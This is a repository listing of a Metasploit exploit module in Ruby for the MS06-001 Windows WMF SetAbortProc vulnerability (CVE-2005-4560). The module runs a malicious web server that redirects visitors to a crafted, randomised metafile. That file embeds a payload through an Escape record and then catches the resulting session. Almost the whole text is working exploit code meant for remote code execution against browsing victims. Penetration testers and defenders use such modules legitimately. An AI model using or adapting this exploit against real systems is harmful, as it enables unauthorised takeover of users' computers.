Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / ms06_001_wmf_setabortproc.rb @ master

History | View | Annotate | Download (4.7 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GreatRanking
16

    
17
        #
18
        # This module acts as an HTTP server
19
        #
20
        include Msf::Exploit::Remote::HttpServer::HTML
21

    
22
        def initialize(info = {})
23
                super(update_info(info,
24
                        'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
25
                        'Description'    => %q{
26
                                        This module exploits a vulnerability in the GDI library included with
27
                                Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
28
                                to execute arbitrary code through the SetAbortProc procedure. This module
29
                                generates a random WMF record stream for each request.
30
                        },
31
                        'License'        => MSF_LICENSE,
32
                        'Author'         =>
33
                                [
34
                                        'hdm',
35
                                        'san <san[at]xfocus.org>',
36
                                        'O600KO78RUS@unknown.ru',
37
                                ],
38
                        'Version'        => '$Revision$',
39
                        'References'     =>
40
                                [
41
                                        ['CVE', '2005-4560'],
42
                                        ['OSVDB', '21987'],
43
                                        ['MSB', 'MS06-001'],
44
                                        ['BID', '16074'],
45
                                        ['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
46
                                        ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
47
                                        ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
48
                                ],
49
                        'DefaultOptions' =>
50
                                {
51
                                        'EXITFUNC' => 'thread',
52
                                },
53
                        'Payload'        =>
54
                                {
55
                                        'Space'    => 1000 + (rand(256).to_i * 4),
56
                                        'BadChars' => "\x00",
57
                                        'Compat'   =>
58
                                                {
59
                                                        'ConnectionType' => '-find',
60
                                                },
61
                                        'StackAdjustment' => -3500,
62
                                },
63
                        'Platform'       => 'win',
64
                        'Targets'        =>
65
                                [
66
                                        [ 'Windows XP/2003/Vista Automatic', { }],
67
                                ],
68
                        'DisclosureDate' => 'Dec 27 2005',
69
                        'DefaultTarget'  => 0))
70
        end
71

    
72
        def on_request_uri(cli, request)
73

    
74
                ext = 'wmf'
75

    
76
                if (not request.uri.match(/\.wmf$/i))
77
                        if ("/" == get_resource[-1,1])
78
                                wmf_uri = get_resource[0, get_resource.length - 1]
79
                        else
80
                                wmf_uri = get_resource
81
                        end
82
                        wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext
83

    
84
                        html = "<html><meta http-equiv='refresh' content='0; " +
85
                                "URL=#{wmf_uri}'><body>One second please...</body></html>"
86
                        send_response_html(cli, html)
87
                        return
88
                end
89

    
90
                # Re-generate the payload
91
                return if ((p = regenerate_payload(cli)) == nil)
92

    
93
                print_status("Sending #{self.name}")
94

    
95
                # Transmit the compressed response to the client
96
                send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
97

    
98
                # Handle the payload
99
                handler(cli)
100
        end
101

    
102
        def generate_metafile(payload)
103

    
104
                # Minimal length values before and after the Escape record
105
                pre_mlen = 1440 + rand(8192)
106
                suf_mlen = 128  + rand(8192)
107

    
108
                # Track the number of generated records
109
                fill = 0
110

    
111
                # The prefix and suffix buffers
112
                pre_buff = ''
113
                suf_buff = ''
114

    
115
                # Generate the prefix
116
                while (pre_buff.length < pre_mlen)
117
                        pre_buff << generate_record()
118
                        fill += 1
119
                end
120

    
121
                # Generate the suffix
122
                while (suf_buff.length < suf_mlen)
123
                        suf_buff << generate_record()
124
                        fill += 1
125
                end
126

    
127
                clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
128
                data =
129
                        #
130
                        # WindowsMetaHeader
131
                        #
132
                        [
133
                                # WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
134
                                rand(2)+1,
135
                                # WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
136
                                9,
137
                                # WORD  Version;        /* Version of Microsoft Windows used */
138
                                ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
139
                                # DWORD FileSize;       /* Total size of the metafile in WORDs */
140
                                clen/2,
141
                                # WORD  NumOfObjects;   /* Number of objects in the file */
142
                                rand(0xffff),
143
                                # DWORD MaxRecordSize;  /* The size of largest record in WORDs */
144
                                rand(0xffffffff),
145
                                # WORD  NumOfParams;    /* Not Used (always 0) */
146
                                rand(0xffff),
147
                        ].pack('vvvVvVv') +
148
                        #
149
                        # Filler data
150
                        #
151
                        pre_buff +
152
                        #
153
                        # StandardMetaRecord - Escape()
154
                        #
155
                        [
156
                                # DWORD Size;          /* Total size of the record in WORDs */
157
                                4,
158
                                # WORD  Function;      /* Function number (defined in WINDOWS.H) */
159
                                (rand(256).to_i << 8) + 0x26,
160
                                # WORD  Parameters[];  /* Parameter values passed to function */
161
                                9,
162
                        ].pack('Vvv') + payload.encoded +
163
                        #
164
                        # Filler data
165
                        #
166
                        suf_buff +
167
                        #
168
                        # Complete the stream
169
                        #
170
                        [3, 0].pack('Vv') +
171
                        #
172
                        # Some extra fun padding
173
                        #
174
                        rand_text(rand(16384)+1024)
175

    
176
                return data
177

    
178
        end
179

    
180
        def generate_record
181
                type = rand(3)
182

    
183
                case type
184
                        when 0
185
                                # CreatePenIndirect
186
                                return [8, 0x02fa].pack('Vv') + rand_text(10)
187
                        when 1
188
                                # CreateBrushIndirect
189
                                return [7, 0x02fc].pack('Vv') + rand_text(8)
190
                        else
191
                                # Rectangle
192
                                return [7, 0x041b].pack('Vv') + rand_text(8)
193
                end
194
        end
195

    
196
end